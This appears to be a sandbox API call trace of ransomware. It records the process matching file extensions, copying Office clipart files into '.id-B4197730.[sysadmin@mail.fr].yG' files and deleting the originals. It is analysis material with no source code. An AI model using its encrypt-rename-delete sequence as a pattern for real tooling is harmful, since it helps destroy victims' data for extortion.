	[0146.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.843] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.843] lstrlenW (lpString="FD00428_.WMF") returned 12
	[0146.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.865] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=4796) returned 1
	[0146.865] CloseHandle (hObject=0x52c) returned 1
	[0146.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220
	[0146.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.867] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.867] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.868] GetLastError () returned 0x0
	[0146.868] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0146.869] WriteFile (in: hFile=0x518, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0146.871] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.871] WriteFile (in: hFile=0x518, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.871] SetEndOfFile (hFile=0x518) returned 1
	[0146.871] CloseHandle (hObject=0x518) returned 1
	[0146.872] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.872] SetEndOfFile (hFile=0x52c) returned 1
	[0147.142] CloseHandle (hObject=0x52c) returned 1
	[0147.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0147.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.144] lstrlenW (lpString=".doc") returned 4
	[0147.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.144] lstrlenW (lpString=".docx") returned 5
	[0147.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.144] lstrlenW (lpString=".pdf") returned 4
	[0147.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.145] lstrlenW (lpString=".xls") returned 4
	[0147.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.145] lstrlenW (lpString=".xlsx") returned 5
	[0147.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.145] lstrlenW (lpString=".ppt") returned 4
	[0147.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.145] lstrlenW (lpString=".zip") returned 4
	[0147.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.145] lstrlenW (lpString=".rar") returned 4
	[0147.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.145] lstrlenW (lpString=".bz2") returned 4
	[0147.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.146] lstrlenW (lpString=".7z") returned 3
	[0147.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.146] lstrlenW (lpString=".dbf") returned 4
	[0147.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.146] lstrlenW (lpString=".1cd") returned 4
	[0147.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.146] lstrlenW (lpString=".jpg") returned 4
	[0147.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.147] lstrlenW (lpString=".doc") returned 4
	[0147.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.147] lstrlenW (lpString=".docx") returned 5
	[0147.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.147] lstrlenW (lpString=".pdf") returned 4
	[0147.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.147] lstrlenW (lpString=".xls") returned 4
	[0147.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.147] lstrlenW (lpString=".xlsx") returned 5
	[0147.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.147] lstrlenW (lpString=".ppt") returned 4
	[0147.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.148] lstrlenW (lpString=".zip") returned 4
	[0147.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.148] lstrlenW (lpString=".rar") returned 4
	[0147.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.148] lstrlenW (lpString=".bz2") returned 4
	[0147.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.148] lstrlenW (lpString=".7z") returned 3
	[0147.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.148] lstrlenW (lpString=".dbf") returned 4
	[0147.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.148] lstrlenW (lpString=".1cd") returned 4
	[0147.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0147.149] lstrlenW (lpString=".jpg") returned 4
	[0147.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.149] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.149] lstrlenW (lpString="FD00543_.WMF") returned 12
	[0147.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.150] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1472) returned 1
	[0147.150] CloseHandle (hObject=0x52c) returned 1
	[0147.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220
	[0147.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.151] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.151] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0147.152] GetLastError () returned 0x0
	[0147.152] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x5c0, lpOverlapped=0x0) returned 1
	[0147.165] WriteFile (in: hFile=0x4b0, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5d0, lpOverlapped=0x0) returned 1
	[0147.167] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.167] WriteFile (in: hFile=0x4b0, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.167] SetEndOfFile (hFile=0x4b0) returned 1
	[0147.168] CloseHandle (hObject=0x4b0) returned 1
	[0147.168] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.168] SetEndOfFile (hFile=0x52c) returned 1
	[0147.172] CloseHandle (hObject=0x52c) returned 1
	[0147.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1
	[0147.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.179] lstrlenW (lpString=".doc") returned 4
	[0147.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.179] lstrlenW (lpString=".docx") returned 5
	[0147.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.179] lstrlenW (lpString=".pdf") returned 4
	[0147.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.179] lstrlenW (lpString=".xls") returned 4
	[0147.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.180] lstrlenW (lpString=".xlsx") returned 5
	[0147.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.180] lstrlenW (lpString=".ppt") returned 4
	[0147.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.180] lstrlenW (lpString=".zip") returned 4
	[0147.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.180] lstrlenW (lpString=".rar") returned 4
	[0147.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.181] lstrlenW (lpString=".bz2") returned 4
	[0147.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.181] lstrlenW (lpString=".7z") returned 3
	[0147.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.181] lstrlenW (lpString=".dbf") returned 4
	[0147.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.181] lstrlenW (lpString=".1cd") returned 4
	[0147.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.181] lstrlenW (lpString=".jpg") returned 4
	[0147.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.182] lstrlenW (lpString=".doc") returned 4
	[0147.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.182] lstrlenW (lpString=".docx") returned 5
	[0147.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.182] lstrlenW (lpString=".pdf") returned 4
	[0147.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.183] lstrlenW (lpString=".xls") returned 4
	[0147.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.183] lstrlenW (lpString=".xlsx") returned 5
	[0147.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.183] lstrlenW (lpString=".ppt") returned 4
	[0147.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.184] lstrlenW (lpString=".zip") returned 4
	[0147.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.184] lstrlenW (lpString=".rar") returned 4
	[0147.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.184] lstrlenW (lpString=".bz2") returned 4
	[0147.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.184] lstrlenW (lpString=".7z") returned 3
	[0147.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.184] lstrlenW (lpString=".dbf") returned 4
	[0147.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.184] lstrlenW (lpString=".1cd") returned 4
	[0147.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0147.185] lstrlenW (lpString=".jpg") returned 4
	[0147.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.185] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.185] lstrlenW (lpString="FD00544_.WMF") returned 12
	[0147.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.186] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5260) returned 1
	[0147.186] CloseHandle (hObject=0x52c) returned 1
	[0147.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220
	[0147.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0147.646] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.647] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.661] GetLastError () returned 0x0
	[0147.661] ReadFile (in: hFile=0x530, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x148c, lpOverlapped=0x0) returned 1
	[0147.664] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0147.665] ReadFile (in: hFile=0x530, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.665] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.665] SetEndOfFile (hFile=0x51c) returned 1
	[0147.666] CloseHandle (hObject=0x51c) returned 1
	[0147.666] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.666] SetEndOfFile (hFile=0x530) returned 1
	[0147.668] CloseHandle (hObject=0x530) returned 1
	[0147.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1
	[0147.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.670] lstrlenW (lpString=".doc") returned 4
	[0147.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.670] lstrlenW (lpString=".docx") returned 5
	[0147.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.670] lstrlenW (lpString=".pdf") returned 4
	[0147.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.670] lstrlenW (lpString=".xls") returned 4
	[0147.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.670] lstrlenW (lpString=".xlsx") returned 5
	[0147.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.670] lstrlenW (lpString=".ppt") returned 4
	[0147.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.670] lstrlenW (lpString=".zip") returned 4
	[0147.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.670] lstrlenW (lpString=".rar") returned 4
	[0147.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.670] lstrlenW (lpString=".bz2") returned 4
	[0147.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.671] lstrlenW (lpString=".7z") returned 3
	[0147.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.671] lstrlenW (lpString=".dbf") returned 4
	[0147.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.671] lstrlenW (lpString=".1cd") returned 4
	[0147.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.671] lstrlenW (lpString=".jpg") returned 4
	[0147.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.672] lstrlenW (lpString=".doc") returned 4
	[0147.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.672] lstrlenW (lpString=".docx") returned 5
	[0147.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.672] lstrlenW (lpString=".pdf") returned 4
	[0147.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.672] lstrlenW (lpString=".xls") returned 4
	[0147.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.672] lstrlenW (lpString=".xlsx") returned 5
	[0147.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.672] lstrlenW (lpString=".ppt") returned 4
	[0147.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.672] lstrlenW (lpString=".zip") returned 4
	[0147.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.672] lstrlenW (lpString=".rar") returned 4
	[0147.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.672] lstrlenW (lpString=".bz2") returned 4
	[0147.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.672] lstrlenW (lpString=".7z") returned 3
	[0147.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.673] lstrlenW (lpString=".dbf") returned 4
	[0147.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.673] lstrlenW (lpString=".1cd") returned 4
	[0147.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
